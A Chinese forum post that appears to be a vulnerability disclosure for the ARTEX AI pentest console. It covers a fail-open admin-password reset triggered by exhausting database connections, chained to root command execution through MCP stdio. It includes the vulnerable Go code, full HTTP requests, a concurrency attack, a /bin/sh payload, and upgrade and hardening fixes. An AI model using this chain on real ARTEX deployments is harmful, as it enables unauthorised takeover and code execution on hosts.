找回密码
立即注册
搜索
发回帖 发新帖

5049

积分

0

好友

649

主题
发表于 6 小时前 | 查看: 8| 回复: 0

一、产品介绍

ARTEX 是一款面向企业攻击面的 AI 自主渗透测试控制台,由 Go 后端与 Next.js 前端组成。它支持任务编排、资产扫描、漏洞发现与利用、MCP 工具扩展,并可以通过 OpenAI / Anthropic 兼容接口接入上游大模型。

ARTEX AI 自主渗透测试系统 README 界面截图

典型部署方式:

  • Go 单二进制,默认管理端口 8787(README 示例),MCP 代理端口 8788;
  • 依赖 PostgreSQL 存储任务、资产、MCP 配置与模型 Profile;
  • 支持 Docker Compose 部署,也支持直接运行二进制;
  • 管理端默认暴露在 0.0.0.0:8787,若直接映射到公网且未做额外访问控制,风险较高。

ARTEX 的 MCP 管理接口支持 stdio、http、sse 三种传输。其中 stdio 会由 ARTEX 主进程直接启动本地子进程,这是本文 RCE 链路的关键。


二、漏洞原理

2.1 缺陷代码

POST /api/auth/init 用于“首次设置管理员密码”。它在判断是否已初始化时,显式丢弃了数据库查询返回的 error:

// server/auth.go  (v0.3.14)
func (s *Server) authInit(w http.ResponseWriter, r *http.Request) {
    pg := s.pg(w)
    existing, _, _ := pg.GetSetting(authPassKey)   // ← error 被丢弃
    if existing != "" {
        writeErr(w, 403, "密码已设置")
        return
    }
    // ... bcrypt ...
    if err := pg.SetSetting(authPassKey, string(hash)); err != nil { ... } // ← upsert 覆盖
    tok, _ := signJWT(s.jwtKey)
    writeJSON(w, 200, map[string]any{"token": tok})
}

2.2 “键不存在”与“读取失败”不可区分

GetSetting 在两种情况下都返回空 value,唯一的区分标志是 error:

func (d *DB) GetSetting(key string) (value string, ok bool, err error) {
    err = d.QueryRow(`SELECT value FROM settings WHERE key=$1`, key).Scan(&value)
    if err == sql.ErrNoRows {
        return "", false, nil // 键不存在
    }
    if err != nil {
        return "", false, err // 读取失败,value 同样是 ""
    }
    return value, true, nil
}

authInit 忽略 error 后,“读取失败”被当成“从未设置密码”,于是继续执行写操作。

2.3 未认证可达

requireAuth 把整个 /api/auth/* 前缀列为白名单:

if strings.HasPrefix(p, "/api/auth/") || p == "/api/health" {
    h.ServeHTTP(w, r)
    return
}

因此任何未认证访问者都可以无限并发地调用 /api/auth/init。

2.4 触发条件:PostgreSQL 连接耗尽

旧版没有设置 SetMaxOpenConns,database/sql 默认不限制应用侧连接数。每个 /api/auth/init 请求都会执行一次 SELECT value FROM settings ...;并发足够高时会把 PostgreSQL 的 max_connections 顶满,新连接被拒绝,GetSetting 返回 error,fail-open 随即生效。

随后 SetSetting 使用 INSERT ... ON CONFLICT DO UPDATE(upsert),直接覆盖已存在的管理员密码哈希,并返回一个合法的管理员 JWT。

2.5 从认证绕过到 RCE

拿到管理员 JWT 后,POST /api/mcp 会接受 stdio 传输配置:服务端把 command 与 args 交给 exec.Command 直接启动子进程。这是 MCP 协议的固有设计——拥有 MCP 创建权限即拥有命令执行权限。认证绕过把这一能力从“管理员”扩大到了“任何未认证访问者”。


三、影响范围

3.1 受影响版本

项目 内容
受影响版本 v0.1.0 – v0.3.14
修复版本 v0.3.15 及以后
修复提交 8d8c102(PR #197,分支 fix/auth-init-fail-open)
漏洞类型 CWE-636 Fail Open / CWE-754 异常条件处理不当

3.2 影响后果

  1. 未认证管理员接管:无需知道原密码,即可把管理员密码改成任意值;
  2. 服务器命令执行:通过 stdio MCP 以 ARTEX 进程权限执行任意命令;
  3. 横向风险:ARTEX 本身具备资产扫描与漏洞利用能力,失陷后可被用作攻击跳板。

四、复现过程

4.1 指纹确认

GET /api/health HTTP/1.1
Host: TARGET_HOST

ARTEX /api/health 指纹确认 HTTP 响应

确定是存在漏洞的版本。

4.2 并发触发 Fail-Open

POST /api/auth/init
Body: {"password":"<REDACTED_PASSWORD>"}
并发: 800 轮次: 最多 2 轮

两轮统计:

{
  "workers": 800,
  "rounds": 2,
  "codes": {
    "403": 245,
    "200": 44,
    "500": 3,
    "TimeoutError": 508
  }
}
  • 44 个 200:fail-open 生效,管理员密码被覆盖;
  • 245 个 403:数据库读取正常,正确返回“密码已设置”;
  • 3 个 500:写入阶段失败;
  • 508 个连接异常:高并发下客户端侧连接被重置或超时。

4.3 登录取得管理员 JWT

POST /api/auth/login HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json
Content-Length: 58

{"username":"ARTEX","password":"<REDACTED_PASSWORD>"}
HTTP/1.1 200
Content-Length: 160

{"token":"<REDACTED_JWT>"}

4.5 发送 id RCE 请求

Burp 数据包:

POST /api/mcp HTTP/1.1
Host: TARGET_HOST
User-Agent: artex-burp-proof
Accept: application/json
Content-Type: application/json
Authorization: Bearer <JWT>
Content-Length: 510

{"name":"test_rce_id","transport":"stdio","command":"/bin/sh","args":["-c","OUT=$(id 2>&1 | base64 -w0); read a; printf '%s\n' '{\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{\"tools\":{}},\"serverInfo\":{\"name\":\"burp-id\",\"version\":\"1.0\"}}}'; read b; read c; printf '{\"jsonrpc\":\"2.0\",\"id\":2,\"result\":{\"tools\":[{\"name\":\"burp_id\",\"description\":\"%s\",\"inputSchema\":{\"type\":\"object\"}}]}}\n' \"$OUT\""],"enabled":true}
HTTP/1.1 200
Content-Type: application/json
Content-Length: 10

{"id":x}

{"id":x} 表示 MCP 条目创建成功。ARTEX 在创建时同步执行工具发现,即在本机启动 /bin/sh -c "...id..." 并完成 MCP 握手。

4.6 回读工具缓存,证明 id 已执行

获取命令执行结果:

MCP tools 接口回显 Base64 编码的执行结果

对 description 做 base64 解码:

Base64 解码显示 root 身份执行结果

id 返回 uid=0(root),说明 MCP 子进程以 root 身份运行在 ARTEX 主机上,RCE 成立。

4.8 整条利用链分析

① POST /api/auth/init(无认证、可无限并发)
        │
        │  800 并发打满 PostgreSQL max_connections
        ▼
② GetSetting 返回 error
        │
        │  authInit 丢弃 error,existing="" 被当成"未初始化"
        ▼
③ SetSetting upsert 覆盖管理员密码哈希,返回 JWT
        │
        ▼
④ POST /api/auth/login 用攻击者密码换取合法管理员会话
        │
        ▼
⑤ POST /api/mcp,transport=stdio,command=/bin/sh
        │
        │  ARTEX 以自身进程权限 exec 子进程
        ▼
⑥ 子进程执行 id → uid=0(root)
        │
        │  结果封装进 MCP tool description
        ▼
⑦ GET /api/mcp/{id}/tools 回读缓存,得到命令输出

五、修复建议

5.1 升级到 v0.3.15+

官方 8d8c102(PR #197)已完成三处修复:

  1. authInit / authStatus 读取出错时返回 503,改为 fail-closed;
  2. 写入由 upsert 改为 INSERT ... ON CONFLICT DO NOTHING,不再覆盖已有密码;
  3. 连接池设置上限(SetMaxOpenConns(32) / SetMaxIdleConns(32)),并补充连接寿命与空闲淘汰。

5.2 访问控制

  • 管理端口默认只监听 127.0.0.1;
  • 公网访问通过 VPN、SSH 隧道或带认证与访问控制的反向代理;
  • 对 /api/auth/init 增加来源限速与并发上限。

5.3 认证与会话

  • JWT 绑定密码版本,改密后旧 token 立即失效;
  • 登录、改密、初始化全部写入审计日志(不记录凭据正文);
  • 增加登录失败计数与持久化锁定。

5.4 MCP 安全

  • 对 stdio 类型 MCP 的 command / args 做白名单或禁用;
  • 定期审计 mcp_servers,删除可疑条目;
  • MCP 子进程使用低权限用户运行,避免 root。

⚠️ 免责声明:本文及该靶场仅供安全培训、教学与授权测试使用。请勿将其中漏洞技术用于任何未授权的目标,使用者需自行承担因不当使用造成的一切后果。




上一篇:EvilWAF 教程:传输层绕过 WAF 的透明代理与漏洞扫描
下一篇:ARTEX二次开发版深度解析:从外网突破到内网纵深的AI自主渗透平台
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-10-22 06:36 , Processed in 0.092033 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表